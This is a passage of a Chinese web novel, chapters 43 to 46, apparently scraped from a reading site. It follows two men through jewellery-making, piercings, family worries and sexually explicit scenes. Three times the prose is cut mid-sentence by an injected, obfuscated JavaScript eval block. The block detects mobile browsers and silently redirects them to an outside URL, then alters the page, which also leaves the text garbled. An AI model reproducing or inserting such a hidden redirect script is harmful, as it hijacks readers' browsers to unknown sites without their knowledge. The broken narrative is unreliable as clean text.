阕开霁的手盖在他手上,打开盒子就拿开了,但闻根好像还能感觉到阕开霁的温度,脑子也跟着他的声音描摹幻想他勾勒出来的场景,甚至在他离开后,拿着盒子的手控制不住颤抖。 眼镜又滑下去了,但他还是看到盒子里的东西。比设计图要好看一百倍,手指那么粗的皮质项圈,蝴蝶装饰栩栩如生。 他哆哆嗦嗦拿起项圈,坠着的锁链流水般滑下去,在他胸口荡了一下,垂在半空中不停晃着。 闻根的目光就跟着锁链末尾那颗钉子不停荡着,两秒后才缓过来,俯下身撩开阕开霁的头发。 阕开霁身上很热,和皮肤贴在一起的头发也被烘得带着热气,蓝风铃洗发水的味道丝丝缕缕往闻根鼻子里钻,香得让他觉得自己栽倒在蓝风铃花丛里。一缕发梢划过他鼻尖,像有蝴蝶停驻亲吻。但闻根呼吸重一点,就把这只蝴蝶吓走了。 他追着这只蝴蝶越靠越近,几乎贴在阕开霁肩膀上,攀着阕开霁才没让自己瘫软下去。后颈和发丝之间那么热,像大蒸笼,蒸得闻根也开始发热,皮质项圈上的银质卡扣反而成了唯一凉意。他不自觉攥得更紧,艰难打开卡扣,绕过阕开霁脖颈。 好热,温度被头发牢牢锁住,手伸进去,就像深入蝴蝶的茧房,柔软湿热。 但这么私密的地方怎么可能安全敞开的裸漏在外任由一条小鱼造次呢,必定布满毒素,把不自量力闯进来的小鱼毒得昏头转向提不起一丝力气,就连最普通的卡扣,都要摸索好久,才把手支在茧房里微微突出来的蝴蝶翅膀上,这才算找到支点,艰难扣好。 明明没有声音,但他好像听到“硌哒”的一声,小鱼被关到锅里,而锅下,火已经烧起来了。锅里迟钝的鱼还不知道温度会越来越高,而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783939|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会成为盘中餐。 闻根迟钝的退后一点,看黑色项圈松垮束在阕开霁脖颈上,项圈上的蓝色蝴蝶随着每一次呼吸浮动,有了生命般展翅欲飞。 阕开霁笑了下,声音有点哑。 闻根不知道他为什么笑,甚至耳朵也被塞了棉花般听不真切,只有眼睛清晰得不合理,看到皮带下喉结颤动弧度,看到上面蝴蝶起飞的姿势。 要飞走了。 仰望这么久的工蚁居然也生出点占有欲来,不愿意看到蝴蝶飞去自己看不到的地方,成为别人的蝴蝶。 恶从胆边生,他伸出手掬住那只蝴蝶。 手下阕开霁的骨骼血管和皮肤是热的,项圈也被浸热,只有那只小小的、被喉结顶得格外生动的蝴蝶是凉的,小小的、冰冰的,硌在他掌心。 闻根骤然清醒,想要收回手。 也就是这时,阕开霁伸手盖在他手上,用力压下去。 手背是阕开霁的手,稍微动力闻根的手也跟着往下压,感觉到蝴蝶翅膀不规则边缘压在自己手心,可他根本没感觉到疼,只感觉到手下阕开霁每一次脉搏跳动。 一下、两下。 那么有力的撞击着他的指腹。 闻根的心跳也跟着这个速度越来越快,他口干舌燥,自己都不知道的时候,伸出舌头舔了下唇。 阕开霁很快松了手,嘲笑他:“调节长度都不会吗,系这么松容易上下活动。” 小鱼已经被蒸成死鱼了。 闻根脑子乱乱的听不懂,应:“啊……我不会。” 阕开霁:“……” 算了,不会就不会吧。 他捻起掉到自己胸前的锁链,递到闻根手里:“换吧。” 闻根哆哆嗦嗦接过链子底下坠着的钉子,看阕开霁朝他伸出舌头。 他渴得仿佛被晒了几百年的死鱼干,现在看着湿漉漉闪着光的舌钉,再看同样湿漉漉的、殷红的舌头,控制不住低下头去。 他终于找到了水源。 = 舌钉还是很有存在感,闻根先吮着阕开霁的舌尖亲了会儿,又去舔舌钉。 有了上次的经验,他熟练很多,就这么吮着舔着,把舌钉取下来了。要把舌钉刮到自己舌头上拿出来时,阕开霁舌头一卷,上面那颗圆形水晶球就找不到了。闻根没办法,只能扶住阕开霁的肩膀一点点搜刮,舌尖探到最深才找到那颗小球。 他笨笨的吐出舌钉,放到床头柜上。 阕开霁已经伸出舌头等他给带新舌钉了。 但闻根看着殷红舌头上那颗孔,抿抿嘴,低头又舔了一下。有点心疼的说:“要不不戴了吧?看上去很疼。” 阕开霁怔了下,似乎见识到新鲜事物的小孩子般,有些许不解,他没太想明白,内心却涌出几分感动。 闻根有点不好意思的又亲了下他的眼睛,开始看阕开霁的耳钉,手指有点笨拙的摸索耳钉后面的耳堵,想要把阕开霁现在的耳钉摘下来,把项圈上的钉子带到耳朵上。 但阕开霁掰着他的下巴让他看自己:“别看了。” 他飞快摘下耳钉,又拿起锁链上带着的钉子,告诉闻根:“耳钉杆粗1.2,舌钉杆粗1.6,这上面的钉子1.6,带不到耳洞里。” 闻根低头看。 舌钉果然比耳钉粗一圈。 阕开霁压根没打算搞这么个玩意出来带耳朵上,没想到闻根这么窝囊,舌钉都摘下来了,也只是舔一下说心疼,又要带耳朵上。 那自己忍痛打的舌钉算什么? 他把耳钉重新带回去,把舌钉递到闻根手里:“抽屉里有酒精棉片,记得做好消毒。” 闻根都不知道自己是怎么接过舌钉,怎么拿出酒精棉片给舌钉消毒,只记得有那么一瞬间酒精冷冽,但很快又被体温和甜桃香蒸没了。 他拿着舌钉,看阕开霁柔软舌头和上面格外红的孔洞,声音飘忽:“怎么带?” 按照给阕开霁摘舌钉的方式,他本能想把舌钉往自己嘴里放。 阕开霁也没说什么,任由闻根把舌钉放到嘴里,含着这颗舌钉又吻下来。 和刚刚圆形水晶的钉子不同,这颗舌钉上是不规则的蝴蝶。磕磕绊绊间不知道划到了谁,舌尖开始尝到淡淡铁锈的血腥味。 最后还是阕开霁自己吮过舌钉,在口腔里转了一圈打到舌钉孔里。 闻根已经亲得迷糊缺氧了,压根没意识到是阕开霁弄的,还在心里暗自骄傲,上上下下舔着确定舌钉戴好了,这才又吮了下阕开霁的嘴唇,退出来。 阕开霁带着舌钉,锁链就挂在嘴角,甚至还沾着些许湿润。 闻根脸热,低头去拿舌钉球球。 如法炮制把舌钉球球旋上去,舌钉就正式戴好了。 比闻根想象中的还要更漂亮。 他一开始没想带舌头上,但现在看着脖子上黑色项圈、带着湿润的细细链条、还有隐在口腔里,但是他清楚知道会是什么样的舌钉,身体比内心诚实无数倍。 闻根伸手拉下链条。 链条牵动舌钉一起往下坠,殷红柔软的舌头上,宝石蓝的蝴蝶蹁跹欲飞。 可以亲,可以把手指伸进去,还可以…… 闻根干咽了口,眼神完全已经虚了,俯身去吻那只蝴蝶。牵着链条的手逐渐脱力,不知道什么时候就完全松开了,阕开霁收回舌头,问:“不放点别的进来吗?” 44.第 44 章 当时是没弄什么。 主要是舌钉上面那只蝴蝶翅膀飞起,边缘不规则。硌得闻根特别疼。 把舌钉摘下来之后就好很多。 …… 闻根真觉得自己要热死了,窗帘完全拉上,房间里的灯也没开,只有床头那一圈灰色调的暗淡灯带亮着,从床底照过来的光,什么都看不真切。房间变成大型蒸笼,他嗅着越发浓郁的甜桃香,感觉眼前闪过一道道白光。 被生生拔去鳞片般,小鱼抽动着尾鳍不停挺身。闻根的手攥紧又张开,最后按在阕开霁头上,感觉到手下长卷发溜到自己指缝间,顺滑如丝绸般的手感。可他眼前一片模糊,什么都看不到。 又过了几分钟吧。 他握着矿泉水瓶,身体还是那么热,眼前还是一片模糊,他才意识到是刚刚太热了,眼镜沾了雾气。而他还出了汗,鼻梁上的眼镜顺着滑到鼻梁中间,什么都看不到反而硌得他难受。 手里有东西腾不出来,他只好求助阕开霁:“能……” “能把眼镜摘下来吗?” 之前三五不时就要把他眼镜摘下来看眼镜后桃花眼和眼角泪痣的阕开霁此刻却冷笑一声,一手按着他的头,一手把眼镜推上去,拇指擦去镜片上的雾气。 闻根眼前骤然清晰,和手里的东西打了个照面,又有些僵硬了。 死鱼眼涌上水湿,被温度一蒸,刚刚擦去的雾气重新爬上镜片。 阕开霁:“戴着吧。” “摘下来你就又分不清大小了。” …… 两人厮混两个小时后,闻根才想到阕开霁的舌钉,这时他悲痛的发现,阕开霁舌头上的洞,已经愈合变小了。 他本来也就没打两个月,舌头愈合能力又很快,等想到的时候,舌钉1.6的杆已经穿不进去了。 闻根穿着阕开霁的黑织金睡袍,内疚:“对不起。” 然后提议:“要不不戴了吧,那么疼。” 反正打个舌钉就是为了逗死鱼,现在人也逗了鱼肉也浅尝一口,阕开霁自觉舌钉已经物超所值没什么压榨空间,也就接受了闻根的建议。 睡了一夜醒了,舌头上那个孔就只剩针尖般格外小的一点,不仔细看根本看不出。 接吻过后闻根就看着阕开霁的舌头,阕开霁收回去他也还是盯着阕开霁的嘴巴看。 阕开霁:“看什么?” 闻根很是期待的样子:“这样你就能吃玫瑰豆沙的月饼了。” 在阕开霁无语的表情下,他还是说完了:“舌头能把馅料抿化了。” 阕开霁:“……” 不愧是闻根,总能想到些他两辈子都想不到的内容。 = 中秋假期到得很快,第一天中秋节闻根回了趟家,和父母吃了饭。 上周闻根来的时候垂头丧气脸上写满了忧愁,这周再来时就喜气洋洋肉眼可见的高兴。这么大的反差当然瞒不过闻父闻母的眼睛。 想到上周闻根为什么不高兴,这周为什么高兴的理由也就一目了然。 闻父闻母都有点发愁。 他们当然知道不应该对孩子的择偶标准指手画脚,也知道同性恋只是个人性取向说明不了什么。但有小侄的惨痛经历在前,他们一不愿意自家孩子当同性恋和不正经人在一起,二也不愿意孩子厌倦正常生活非要去挑战极限玩一些很危险的东西。之前闻根也确实如他们所愿,认真读书从来不做任何会让人操心的事情,他们都以为叛逆期都过了闻根以后也会这么懂事,找个普通人过着普通日子的时候,闻根先说喜欢上了一个和他完全不同的人,又说自己是个同性恋。 他刚刚好找个了闻父闻母梦想中截然不同的人喜欢。 他们想说些什么,但上周闻根已经明确告诉他们,不喜欢他们说那些话了。 可要是不说,看闻根现在喜气洋洋的样子就知道他们和好了,关系还挺不错,如果那个人也带着闻根做那么危险的事情,大晚上骑摩托车飙车炸街、参加同性恋聚会、或者去做更危险的事情……闻父闻母又着实担忧。 白天忍住没说什么,中秋假期最后一天,闻根一大早要回去。 两人对视一眼,都知道闻根现在要回去的理由。 于是再也忍不住,苦口婆心:“不是爸爸妈妈要给你泼冷水,只是你有没有想过,男人和男人在一起本来就会遇到很多困难,你们又那么不一样。我知道他是个好孩子,之前妈妈遇到问题时他还帮我,但你和他真的能互相理解吗?又能真的生活在一起吗?” 闻根系上安全带,告诉父母:“是有些不一样。” 这些问题在父母问他之前,他也想过无数次了。他想,自己和阕开霁本来就不一样,自己知道,阕开霁也知道,所有人都知道。但自己没想不一样的,如果有可能,自己也想尝试蝴蝶的生活。 至于阕开霁…… 他一字一句告诉父母:“但是他也不想这样的。” 如果可以,阕开霁一定也希望在来到中国时,能看到他的妈妈,之后一家三口幸福生活在一起。他不用担心在异国他乡的生存,不用因为不知道正常生活是什么样的而把自己过得乱七八糟的。他也会拥有在普通生活里得到快乐的能力,飞得更加愉悦,不至于没有落脚的地方。 闻母看儿子这么多年来头一次格外坚定、好像又写满心疼和爱护的眼睛,喃喃:“可现在你们不一样,不是现实吗?” 现在好像不需要再刻意鼓起勇气,也能和妈妈说出自己的心里话:“我也想做出一些改变啊。” = 这边闻父闻母心惊胆战所谓的改变到底指什么,那边闻根开车直接到了阕开霁工作室。 中秋节假期,员工都放假了,只有阕开霁和几个工作室合伙人在。闻根到的时候其他合伙人也都走了,他隔着马路看到对面那栋白色的、设计感很强的房子,发消息给阕开霁。阕开霁下来接他。 阕开霁家里设计得大方简约根本没有什么花哨装饰,家具也少,属于那种很难留下生活痕迹的装修。但工作室则完全就是和阕开霁的穿搭一样,把极繁风格做到极致。尤其是二楼办公区,员工没有固定工作时间不需要打卡,工位设计也不死板,于是几张桌子拼在一起,大家随意装饰自己的工位,尽昭审美功底。闻根目不暇接,觉得自己像误入花园的土狗,就连身上阕开霁给他搭配的、他之前觉得非常潮流的衣服,现在也土里土气的。 倒也说不上自卑,他就是想到阕开霁之前也经常说他土,问阕开霁:“我这样是不是很土啊。” 自己挑的衣服自己搭配出来的,当然也最符合自己审美。阕开霁:“不。” 但看闻根还在低头看,阕开霁一把把他揪到自己办公室。 阕开霁的办公室也不遑多让的胡哨,但闻根还是一眼就看到挂在墙壁上的那套蝴蝶标本。 ——他送给中药世家继承人的蝴蝶标本,晶闪蝶和灰蝶错落有致的攒在一起,在灯光下翅膀还带着闪,好像还在花丛中采粉,又好像用蝴蝶本身凑成一丛花。 闻根买的时候也只是看了照片,现在看到实物,发现比照片要好看无数倍,简直不像是真实存在的东西。 他一时愣住,也忘了自己的穿搭和其他东西,就只呆呆的看。阕开霁站在他身边,和他一起看。 闻根惊叹:“好好看啊。” 阕开霁:“再买一个放家里。” 闻根一本正经反驳:“作品只有一副,再买的话就不完全是这样的了,设计不同使用的蝴蝶也不同。” 阕开霁:“嗯。” 闻根盘算:“那可以买两幅,你家里一副我家里一副。” 阕开霁:“……” 他看闻根,脸上满是不解和真切的困惑,“有没有一种可能,买一个挂你家里也好挂我家里也好,对方就能借着看标本的理由去做客甚至留宿……” 闻根呆着一双死鱼眼:“还需要理由吗?” 阕开霁:“……” “那可能不需要吧。” 闻根没太明白,不过知道阕开霁是这么想的,就顺从告诉他:“那就只买一副,挂在你家里。” 他说干就干,拿出手机翻找,问阕开霁,“你会喜欢这个吗?” 阕开霁匪夷所思:“就不能晚上回去的时候躺一块看吗?非要现在买?” “这个设计师很多客户,工期又长,我怕晚了就约不到。” 阕开霁:“那就不买了,你想看就来这儿。” 他说着在桌子上找了找,拿了条链子对折,坠上枚戒指,再挂到闻根脖子上。有点长的链条垂到胸口,后颈先察觉到链子的压力,才后知后觉意识到金属的凉、和刚刚阕开霁手指蹭过的热。 闻根低头看那枚戒指。 金质,内圈是光滑的圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787604|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,外面却是菱形切面的,磨砂质感看上去很高级,仔细看去,内圈印着条小鱼。 闻根又转了一圈,发现小鱼对面还有眼镜图案。 …… 他像是铺天盖地撒下来的鱼粮砸得晕头转向的鱼,问阕开霁:“是专门给我买的吗?” 阕开霁纠正:“专门给你亲手做的。” 闻根真的要被惊喜砸晕了,他攥紧手里的戒指:“我……我很喜欢。” 戒指凉凉的硌在手心,闻根看阕开霁手上带着的戒指,结结巴巴:“这个,这个怎么做啊?” 他日常戴着眼镜一副死鱼眼,即使水下波涛汹涌,面上也是死水一潭看不出什么情绪波动。但相处久了就会发现,他其实非常好懂。 阕开霁带他一楼后面的工坊,大致讲解:“量指围取银条,敲打并刻印,淬火打圆,再磨平抛光。” 甚至没等闻根说什么,他给闻根穿上围裙、带上手套,自顾自把手往前一递:“量指围吧。” 但闻根一面给他量指围,一面左右看看,问:“只有银条吗?” 阕开霁提醒:“银价七块,金价六百。” 阕开霁带的绝大部分首饰就是银的,给自己打戒指就用金。 闻根觉得自己不能这么怠慢阕开霁,说:“我有钱。” 阕开霁:“你确定一次就能成功吗?” 闻根哽住。 事实果然也和阕开霁想的一样。 确实没成功。 他勤勤恳恳认认真真做了三个多小时,唯一完美的淬火打圆工序还是阕开霁担心他烫到手帮他弄的。 于是闻根辛辛苦苦得到了一枚除了圆毫无优点的银戒指……还有磨红的手心。 他拿着自己的银圈,想想阕开霁身上带的漂亮首饰,实在没好意思送出去。 但阕开霁掰着他的手把戒指拿出来,随便带在手指上,然后往闻根腕上套上刚打好的金手镯,又去解闻根围裙:“太晚了,回家吧。” 闻根看他手指上丑得乱七八糟的戒指,万分心虚。 但不知道为什么,也没说出让阕开霁摘下来的话。 临走,阕开霁还去办公室拎了个纸袋出来,闻根只看到里面是首饰盒,猜测可能是阕开霁新的漂亮首饰。 路上都在看自己的金手镯,看着看着又想阕开霁那些都是什么首饰——可不可以带给自己看? 这么一路期待,到了家里,阕开霁却随便把东西一放,完全没有拆开的意思。 闻根提醒:“不拆开看吗?” 阕开霁手上还带着闻根给打的那枚戒指,闻言拿出盒子随便打开给闻根看:“之前弄的舌钉。” 亮晶晶很好看的舌钉,但阕开霁现在的孔洞都长实带不上了。 闻根看着这么多漂亮小钉子,遗憾:“那怎么办啊?” “放着吧。” 阕开霁合上盒子随便放到一边,“又没办法当耳钉带。” 闻根拿过盒子打开,仔细看每一颗钉子,好像都能想到这钉子在阕开霁舌头上的样子。又想到那个项圈上的蝴蝶舌钉,后来舌钉被取下来项圈被解开,也不知道阕开霁收到哪儿去了。 闻根跟着阕开霁往房间走,看阕开霁把外出的衣服脱下来。赤着上身,薄薄一层背肌匀称覆盖在骨骼上,肩膀上那两只蓝色蝴蝶纹身看上去那么漂亮。 闻根问:“项圈上那枚钉子呢?” “抽屉里。” 闻根打开抽屉拿起项圈,还是那么好看,现在单是看着,那个混乱夜晚的零碎片段就在眼前一一闪过,最后尽数消散,只剩下阕开霁伸出舌头,殷红舌面上躺着只宝石蓝蝴蝶的样子。 舌钉杆粗1.6,耳钉杆粗1.2,没办法当耳钉带。 闻根说不出的遗憾,问阕开霁:“真不用了吗?” “你喜欢的话下次做成耳钉,带给你看。” 闻根眼里闪过一丝期待,随后:“那这枚呢?” 阕开霁不厌其烦:“戴又戴不上,又不能卖二手,先放着吧,说不定下次打什么钉可以用上。” “什么?” 阕开霁的目光放在他嘴上:“舌钉。” 眼皮一撩看他宽松T恤小腹位置,好像能看到那细窄一节的腰和上面圆圆的肚脐:“脐钉。” “还有……” 灰蓝色眼睛看向他胸口位置,“乳、钉。” 45.第 45 章 中秋假期结束,回去上班。 那枚戒指还是被链子坠着当项链,手镯还是挂在手腕上。方形的一圈雕着突起的花纹,闻根戴着的时候忍不住放轻动作,生怕不小心磕到手镯。 上班的时候果然就被同事看到了。 “呦,小闻!怎么戴这么大一金镯子啊 。” 闻根对手镯的大小没什么概念,除了他妈一直带着的翡翠镯子,就是阕开霁那些花里胡哨的手链手镯。现在听到这么一句,低头看腕上的镯子,抿嘴笑了笑,应:“啊。” 其他同事听到声音过来看:“诶,这小年轻戴金手镯多好看哦,不知道怎么这么多人说土。” “小闻你这个工艺看上去挺好的,在哪儿打的?我也想打一个去。” 闻根含糊:“就,朋友给打的。” “得有三十克?” 闻根不知道,他没带过什么首饰,骤然戴上只觉得沉甸甸的,具体什么克数就没概念了。 “不止吧,三十克可做不出这种效果,起码得四十克。” “也还行,克数重了好看。” 同事开始七嘴八舌讨论起自己买首饰时候的经历,闻根不再接话,低头看看腕上的手镯,再看看磨红气泡的手心,半响,不知道想到什么,心虚移开视线。 ——其实纯属是昨天做戒指的时候用小锤敲打银条时,操作不当磨红了。但当时他带了手套,阕开霁不知道他磨红了,闻根知道但没在意。晚上回去后手心就越来越烫,晚上和阕开霁在床上厮混呢,弄着弄着发现手心一刺。 就看到早就磨红的手心起了个泡。 他想到自己把手心都磨出泡了还只做出枚那么难看的戒指出来,异常心虚,没好意思这时候再扫阕开霁的兴,就接着继续了。 但阕开霁压根不知道做戒指的时候他磨红了手心,骤然看到这个泡,只觉得匪夷所思:“怎么起泡了?” 闻根那时候实在是太热了,阕开霁还不许他摘眼镜,镜片沾了雾气什么都看不清,他微微张着嘴脑子糊糊涂涂的,发梢在后颈戳了许久,猛然抬头时汗珠聚拢在一起,闪着光掉下来,砸进凹陷的锁骨里,再顺着白皙皮肤滑下去,淌过单薄胸膛,流下一道水痕,看上去很有张力、让人食指大动的一幅画面。可一看眼上蒙着雾的眼镜和微微张开的嘴巴,又让人觉得他整个人宛如一条被吸走灵魂的死鱼,好像遭受了什么非人的虐待。 手心那个泡更是遭受虐待的有力佐证。 阕开霁诡异的停下了,喘着气看了一会儿,最后抓着闻根的手亲了一下,没让他再用手了。 不过也没松开闻根的手,捏着他的掌心把他抱到自己腿上,侧过身来冲撞。 他比闻根高出来很多,常年健身的精壮身材又比闻根细狗身躯大了一圈,他自己愿意收手也就算了,现在这么弄着,闻根毫无还手之力,甚至太热也太懵了,什么都想不了。是一直到很后面他才想到,阕开霁是不是误会了什么。 不过当时没来得及解释,今天早上醒来后又急着上班没找到机会。 现在手心那个泡还在,在他每次摸鼠标时都会蹭一下,顿顿的疼,让他想到昨天晚上被摩擦的感觉,还有被阕开霁捏住时的温度。 闻根的脸又热起来了。 = 一整个白天心猿意马精神恍惚,想磨红的手心,想家里收起来毫无用武之地的钉子,又想阕开霁落在手心的那个吻和之后格外温柔的动作。 晚上面对阕开霁时更是心虚。 阕开霁下午开了会,回来得比闻根晚很多,但即使这样也没让闻根做饭,阕开霁去厨房做了三菜一汤。 都是闻根给他做过的家常菜。 闻根自己做得都乱七八糟什么都适量,教他时也只会说适量随便放,阕开霁就让他到一边休息,自己找菜谱做出来了。 按照菜谱做的,比闻根什么都适量做出来的好吃不少。 闻根埋头苦吃,越发心虚觉得阕开霁和自己果然不一样。 吃完饭他要去洗碗,阕开霁也以既然手上都磨出泡来就休息把为由让他去一边歇着,自己把餐具叠在一起拿去厨房。 阕开霁身上依旧带着甜桃香,头发也还是柔软散在肩膀上,现在却在收拾脏兮兮的碗筷。闻根看到他手指上那枚自己做出来的丑陋戒指碰到瓷碟,发出很清脆的一声响。 闻根内疚得几乎窒息,觉得自己好像把天上不食人间烟火的仙子拽下来娶回家,然后让仙子给他洗手作羹汤当糟糠妻的渣男。 他跟着到了厨房,想告诉阕开霁自己手上的泡不是因为昨天给他…… 可昨天没来得及解释,现在就不知道怎么张口,他吭吭哧哧不知道怎么说,看阕开霁把碗筷洗干净,他就拿来擦干收起来。 也就这么几个碗碟,很快就要洗完了,他咬咬牙,一鼓作气:“那个,我手上的泡,是昨天做戒指的时候敲银条磨到的。” “嗯。” 阕开霁洗干净最后一个碗,递给闻根。 闻根接过来,擦干收起来。 闻根先天外貌条件非常不错。就比如高度近视引起的死鱼眼也不能掩盖他桃花眼型多情好看,灾难的穿搭也会被他比例优越的身材挽救些许。他还有一双世俗意义上娇生惯养才能养出来的手。不是说手指多长皮肤多白,就是一双正常的手,手背上有些小小的疤痕,手心很嫩很软。他只会做一些简单的家务活,所以也就只有指腹有薄薄一层茧子。现在接过碗用抹布擦干,顺手放到柜子里。手背上青筋微微突起,让阕开霁想到他手心那桃花瓣般的磨痕。 闻根关上柜子,看阕开霁,欲言又止。 阕开霁洗手,看他这样,问:“你想说什么?” 一鼓作气再而衰三而竭。 闻根现在就在再而衰这个阶段,语气迟缓而不确定:“你昨天是不是误会了。” 阕开霁:“误会什么?” 三而竭。 闻根实在不知道怎么说,含糊:“就……” 阕开霁明白了。 昨天发生了什么?闻根又会以为自己在误会什么? 想到这儿,他止不住升起一种想撬开闻根脑子看看他脑回路到底是怎么长的冲动。 不过闻根还站在他面前,看上去无辜、局促,又纯良。 跟个被欺负的老实人一样。 阕开霁艰难控制自己的无语和好奇,尽量用一种比较平和的语气解释:“是你误会了吧。” 闻根抬头去看阕开霁,发现他正在看着自己,阕开霁可能本身并没有蔑视的意思,只是灰蓝色眼睛太容易显得冷淡,现在这么看过来,还有点看弱智的怜悯。 “有没有一种可能,我只是心疼你手心起泡了才没有让你接着用手。” “那是海绵体,不是螺丝钉。” “我再自信也不至于觉得它会in到把你的手心磨破,就像我再自信也不至于觉得它会大到是一点五升矿泉水。” 闻根:“……” 他张张嘴,什么也没说,又开始装死了。 但阕开霁还在看他,问:“你不愿意做到最后,不会是不仅对大小没有判断能力,还对硬度也没有判断能力吧?” 闻根结结巴巴:“我有,我以为你……” 阕开霁:“不用担心我,我有分寸。” 他越过闻根往外走,头发扫过闻根脸侧,香气扑过来钻到闻根鼻尖。 “我还要磨更嫩的地方呢。” 闻根原地蒸发,脑子里乱糟糟的想这个所谓更嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795251|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点的地方是哪儿。 不过也根本不用太费劲想,他心知肚明。 只是脸上的温度,怎么都降不下去了。 = 阕开霁说着闻根喜欢的话就改成舌钉带给他看 ,实际上根本没让闻根等很久,没两天就带回家新的耳钉,带给闻根看。 同样宝石蓝的蝴蝶,趴在莹白泛粉耳垂上,像趴在桃花瓣上采粉,下一秒就会飞起来。 阕开霁侧过头,斜斜看他,笑:“喜欢吗?” 喜欢。 闻根紧紧盯着耳垂上的蝴蝶,偏偏阕开霁又偏偏头,靠得更近,身上甜桃气息袭来,成功蛊惑闻根。他攀住阕开霁宽阔肩膀,手腕上的金手镯硌到他,习惯了也不觉得疼,反而是阕开霁停止动作,任由他俯身吻住那只蝴蝶。 耳钉有点凉,底下的耳垂却是热的。 闻根的注意力很快就被转移了,放开蝴蝶,小心舔舐蝴蝶翅膀下的桃花瓣,终于如愿尝到清甜桃子香。 他含着这薄薄一片花瓣细细的尝,感觉到阕开霁弹了下他的耳垂。 不疼,但闻根支棱一下,突然有了个大胆的念头。这么念头原本只是微小的一点火星,但想到之前和阕开霁的相处,就像是一阵风吹过来,这点火星唰一下升得老高。 闻根打开潘多拉魔盒,再也无法自控,他退开些许距离,告诉阕开霁:“我也打个耳洞吧。” 阕开霁看他,再看他的耳垂——肉嘟嘟的,微微翘着,带着细细绒毛,被自己弹得微微泛红,像颗特别可爱的小桃子。 阕开霁说:“不行。” 没想到阕开霁会说不行,闻根怔在原地。 从小到大很多人对他说不可以怎么做,他也习惯了这些不可以,逐渐养成可不可以都行的性格。但遇到阕开霁后,阕开霁让他选喜欢的,在都可以的情况下,总是让他尝试新鲜事物。这还是第一次,他主动提出想要尝试什么,而阕开霁说不可以。 难道是因为就像自己主动挑的衣服一样,很土,才会被阕开霁这么一口否决? 他问阕开霁:“我带耳钉会不好看吗?” “没。” 阕开霁揉他的耳垂,“现在就很好,有福。而且打了就要一直带,不然耳洞空着漏财。” 闻根:“封建迷信不可取。” 阕开霁道歉:“对不起。” 闻根没觉得这有什么需要道歉的,想要阕开霁不要这么客气。又听到阕开霁说:“我只是觉得,像你这样崆峒的老封建,大概也会有点迷信。” 闻根:“……” 阕开霁补充:“这是你分享给我的戒同讲座主讲人李赶英大师在另一档生活风水学里传授的知识。” 闻根:“……” 他窝窝囊囊,“那就不打耳钉了。” 但如果不打耳钉,又能打在哪里呢? 他想到家里那么多1.6粗的舌钉,又想到那天阕开霁说这么粗的杆子可以打舌钉、脐钉和……乳、钉。 打舌钉会在接吻时硌到阕开霁,而且在外面吃饭时可能会被同事发现。 那脐钉和乳钉呢? 他低头,仿佛能透过T恤看到那两处。 从小到大不管怎么样都要盖住肚子不然灌风会不舒服的本能,让他下意识划去脐钉这一选项。 不是舌钉和脐钉,那就只剩下…… 乳钉。 藏在衣服底下不会被发现,但又确实可以戴钉子,而且可以带1.6的钉子,阕开霁之前买来的舌钉都可以戴。 而且阕开霁那天晚上还在设计舌钉,说可以当乳钉,还说如果自己喜欢可以给自己打。 闻根越想越觉得这真是一个绝妙好主意,他看阕开霁:“那你给我打个乳钉吧。” 46.第 46 章 灰蓝色眼睛跟着闻根的死鱼眼一起低头,好像能透过T恤看到那处。 但阕开霁还是说:“不行。” 闻根呆着一双死鱼眼:“这里也漏财吗?” 阕开霁:“……” 他没说话,闻根又提醒:“而且你之前说可以给我打乳钉的。” 阕开霁是说过那句话。 因为闻根那时候不管身体多诚实,起码表现得很坚贞不屈势要调理好当个直男绝不和他这种同性恋势力为伍。他也就是说说,撩拨一下闻根,完全没想过闻根会愿意打,更没想到会是闻根主动提。 现在他也理直气壮这么说:“说着玩玩。” 闻根的表情空白片刻,但因为阕开霁披着AAA中药世家继承人马甲时有太多满嘴跑火车的前科,所以他很快接受这件事,他只是强调:“我想试一试。” 阕开霁:“很疼。” ——可能在他满嘴跑火车说可以给闻根打乳钉那个节点,闻根说想试一试,他也会真给闻根打。 但那时候已经过去了,闻根会吮着他的舌钉告诉他,不要再打了,会疼。他才意识到,打钉子会疼,而正常人理应、也本能的心疼自己喜欢的人,不想他们疼。 因为闻根是这样教给阕开霁的。 阕开霁学会了,也就不想闻根疼。 闻根听到这么合理的理由,顿了片刻,短暂思索。 他的乳、头,和绝大多数男性的乳、头一样,从小到大完全没有任何存在感。也就这两天他和阕开霁厮混,被亲过、含过、咬过。 不过阕开霁没有弄很重,完全没让他感觉到不适,痕迹也都会在第二天消失。反而是他控制不住把手往阕开霁练得很用存在感的胸肌上放,没轻没重就捻着揉着弄出痕迹。 